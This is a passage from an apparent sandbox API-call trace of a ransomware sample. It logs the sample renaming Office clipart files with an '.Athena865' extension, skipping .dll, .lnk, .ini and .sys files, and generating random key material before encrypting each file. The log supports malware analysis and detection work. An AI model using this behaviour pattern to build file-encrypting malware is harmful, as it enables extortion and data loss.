phProv=0x241d174*=0x54ecc0) returned 1 [0122.564] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.564] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.564] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CLIP.WMF" | out: lpString1="CLIP.WMF") returned="CLIP.WMF" [0122.564] lstrlenW (lpString="CLIP.WMF") returned 8 [0122.564] lstrlenW (lpString="Athena865") returned 9 [0122.564] lstrlenW (lpString=".dll") returned 4 [0122.565] lstrcmpiW (lpString1="CLIP.WMF", lpString2=".dll") returned 1 [0122.565] lstrlenW (lpString=".lnk") returned 4 [0122.565] lstrcmpiW (lpString1="CLIP.WMF", lpString2=".lnk") returned 1 [0122.565] lstrlenW (lpString=".ini") returned 4 [0122.565] lstrcmpiW (lpString1="CLIP.WMF", lpString2=".ini") returned 1 [0122.565] lstrlenW (lpString=".sys") returned 4 [0122.565] lstrcmpiW (lpString1="CLIP.WMF", lpString2=".sys") returned 1 [0122.565] lstrlenW (lpString="CLIP.WMF") returned 8 [0122.565] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.Athena865") returned 69 [0122.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.athena865"), dwFlags=0x1) returned 1 [0122.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.567] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2262) returned 1 [0122.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.567] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.568] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.568] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.571] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.571] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.571] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.572] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CMNTY_01.MID" | out: lpString1="CMNTY_01.MID") returned="CMNTY_01.MID" [0122.572] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0122.572] lstrlenW (lpString="Athena865") returned 9 [0122.572] lstrcmpiW (lpString1="TY_01.MID", lpString2="Athena865") returned 1 [0122.572] lstrlenW (lpString=".dll") returned 4 [0122.572] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2=".dll") returned 1 [0122.572] lstrlenW (lpString=".lnk") returned 4 [0122.572] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2=".lnk") returned 1 [0122.572] lstrlenW (lpString=".ini") returned 4 [0122.572] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2=".ini") returned 1 [0122.572] lstrlenW (lpString=".sys") returned 4 [0122.572] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2=".sys") returned 1 [0122.572] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0122.572] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.Athena865") returned 73 [0122.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.athena865"), dwFlags=0x1) returned 1 [0122.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.573] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6970) returned 1 [0122.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.574] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.574] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.574] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.577] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.577] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.578] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CRANE.WMF" | out: lpString1="CRANE.WMF") returned="CRANE.WMF" [0122.578] lstrlenW (lpString="CRANE.WMF") returned 9 [0122.578] lstrlenW (lpString="Athena865") returned 9 [0122.578] lstrlenW (lpString=".dll") returned 4 [0122.578] lstrcmpiW (lpString1="CRANE.WMF", lpString2=".dll") returned 1 [0122.578] lstrlenW (lpString=".lnk") returned 4 [0122.578] lstrcmpiW (lpString1="CRANE.WMF", lpString2=".lnk") returned 1 [0122.578] lstrlenW (lpString=".ini") returned 4 [0122.578] lstrcmpiW (lpString1="CRANE.WMF", lpString2=".ini") returned 1 [0122.578] lstrlenW (lpString=".sys") returned 4 [0122.578] lstrcmpiW (lpString1="CRANE.WMF", lpString2=".sys") returned 1 [0122.578] lstrlenW (lpString="CRANE.WMF") returned 9 [0122.578] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.Athena865") returned 70 [0122.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.athena865"), dwFlags=0x1) returned 1 [0122.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.581] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5270) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.581] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.582] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.582] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.587] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.588] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.588] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.588] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CRANINST.WMF" | out: lpString1="CRANINST.WMF") returned="CRANINST.WMF" [0122.588] lstrlenW (lpString="CRANINST.WMF") returned 12 [0122.588] lstrlenW (lpString="Athena865") returned 9 [0122.588] lstrcmpiW (lpString1="NINST.WMF", lpString2="Athena865") returned 1 [0122.588] lstrlenW (lpString=".dll") returned 4 [0122.588] lstrcmpiW (lpString1="CRANINST.WMF", lpString2=".dll") returned 1 [0122.588] lstrlenW (lpString=".lnk") returned 4 [0122.588] lstrcmpiW (lpString1="CRANINST.WMF", lpString2=".lnk") returned 1 [0122.588] lstrlenW (lpString=".ini") returned 4 [0122.588] lstrcmpiW (lpString1="CRANINST.WMF", lpString2=".ini") returned 1 [0122.588] lstrlenW (lpString=".sys") returned 4 [0122.588] lstrcmpiW (lpString1="CRANINST.WMF", lpString2=".sys") returned 1 [0122.588] lstrlenW (lpString="CRANINST.WMF") returned 12 [0122.588] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.Athena865") returned 73 [0122.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.athena865"), dwFlags=0x1) returned 1 [0122.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.590] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49546) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.591] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.591] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.591] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.596] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.597] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.597] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.597] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CUP.WMF" | out: lpString1="CUP.WMF") returned="CUP.WMF" [0122.598] lstrlenW (lpString="CUP.WMF") returned 7 [0122.598] lstrlenW (lpString="Athena865") returned 9 [0122.598] lstrlenW (lpString=".dll") returned 4 [0122.598] lstrcmpiW (lpString1="CUP.WMF", lpString2=".dll") returned 1 [0122.598] lstrlenW (lpString=".lnk") returned 4 [0122.598] lstrcmpiW (lpString1="CUP.WMF", lpString2=".lnk") returned 1 [0122.598] lstrlenW (lpString=".ini") returned 4 [0122.598] lstrcmpiW (lpString1="CUP.WMF", lpString2=".ini") returned 1 [0122.598] lstrlenW (lpString=".sys") returned 4 [0122.598] lstrcmpiW (lpString1="CUP.WMF", lpString2=".sys") returned 1 [0122.598] lstrlenW (lpString="CUP.WMF") returned 7 [0122.598] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.Athena865") returned 68 [0122.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.athena865"), dwFlags=0x1) returned 1 [0122.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.599] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2966) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.599] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.600] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.600] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.603] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.604] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.604] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.605] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CUPINST.WMF" | out: lpString1="CUPINST.WMF") returned="CUPINST.WMF" [0122.605] lstrlenW (lpString="CUPINST.WMF") returned 11 [0122.605] lstrlenW (lpString="Athena865") returned 9 [0122.605] lstrcmpiW (lpString1="PINST.WMF", lpString2="Athena865") returned 1 [0122.605] lstrlenW (lpString=".dll") returned 4 [0122.605] lstrcmpiW (lpString1="CUPINST.WMF", lpString2=".dll") returned 1 [0122.605] lstrlenW (lpString=".lnk") returned 4 [0122.605] lstrcmpiW (lpString1="CUPINST.WMF", lpString2=".lnk") returned 1 [0122.605] lstrlenW (lpString=".ini") returned 4 [0122.605] lstrcmpiW (lpString1="CUPINST.WMF", lpString2=".ini") returned 1 [0122.605] lstrlenW (lpString=".sys") returned 4 [0122.605] lstrcmpiW (lpString1="CUPINST.WMF", lpString2=".sys") returned 1 [0122.605] lstrlenW (lpString="CUPINST.WMF") returned 11 [0122.605] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.Athena865") returned 72 [0122.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.athena865"), dwFlags=0x1) returned 1 [0122.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.607] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10326) returned 1 [0122.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.608] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.608] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.608] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.611] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.612] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.612] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.612] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00117_.WMF" | out: lpString1="DD00117_.WMF") returned="DD00117_.WMF" [0122.612] lstrlenW (lpString="DD00117_.WMF") returned 12 [0122.612] lstrlenW (lpString="Athena865") returned 9 [0122.612] lstrcmpiW (lpString1="0117_.WMF", lpString2="Athena865") returned -1 [0122.612] lstrlenW (lpString=".dll") returned 4 [0122.612] lstrcmpiW (lpString1="DD00117_.WMF", lpString2=".dll") returned 1 [0122.612] lstrlenW (lpString=".lnk") returned 4 [0122.612] lstrcmpiW (lpString1="DD00117_.WMF", lpString2=".lnk") returned 1 [0122.612] lstrlenW (lpString=".ini") returned 4 [0122.612] lstrcmpiW (lpString1="DD00117_.WMF", lpString2=".ini") returned 1 [0122.612] lstrlenW (lpString=".sys") returned 4 [0122.612] lstrcmpiW (lpString1="DD00117_.WMF", lpString2=".sys") returned 1 [0122.612] lstrlenW (lpString="DD00117_.WMF") returned 12 [0122.613] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.Athena865") returned 73 [0122.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.614] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31122) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.615] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.615] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.615] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.621] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.621] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.621] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00121_.WMF" | out: lpString1="DD00121_.WMF") returned="DD00121_.WMF" [0122.621] lstrlenW (lpString="DD00121_.WMF") returned 12 [0122.621] lstrlenW (lpString="Athena865") returned 9 [0122.621] lstrcmpiW (lpString1="0121_.WMF", lpString2="Athena865") returned -1 [0122.621] lstrlenW (lpString=".dll") returned 4 [0122.622] lstrcmpiW (lpString1="DD00121_.WMF", lpString2=".dll") returned 1 [0122.622] lstrlenW (lpString=".lnk") returned 4 [0122.622] lstrcmpiW (lpString1="DD00121_.WMF", lpString2=".lnk") returned 1 [0122.622] lstrlenW (lpString=".ini") returned 4 [0122.622] lstrcmpiW (lpString1="DD00121_.WMF", lpString2=".ini") returned 1 [0122.622] lstrlenW (lpString=".sys") returned 4 [0122.622] lstrcmpiW (lpString1="DD00121_.WMF", lpString2=".sys") returned 1 [0122.622] lstrlenW (lpString="DD00121_.WMF") returned 12 [0122.622] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.Athena865") returned 73 [0122.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.624] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8256) returned 1 [0122.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.625] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.625] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.628] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.628] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.628] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.629] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00234_.WMF" | out: lpString1="DD00234_.WMF") returned="DD00234_.WMF" [0122.629] lstrlenW (lpString="DD00234_.WMF") returned 12 [0122.629] lstrlenW (lpString="Athena865") returned 9 [0122.629] lstrcmpiW (lpString1="0234_.WMF", lpString2="Athena865") returned -1 [0122.629] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.Athena865") returned 73 [0122.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.630] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29628) returned 1 [0122.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.630] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.631] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.631] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.635] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.635] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.635] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.636] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00255_.WMF" | out: lpString1="DD00255_.WMF") returned="DD00255_.WMF" [0122.636] lstrlenW (lpString="DD00255_.WMF") returned 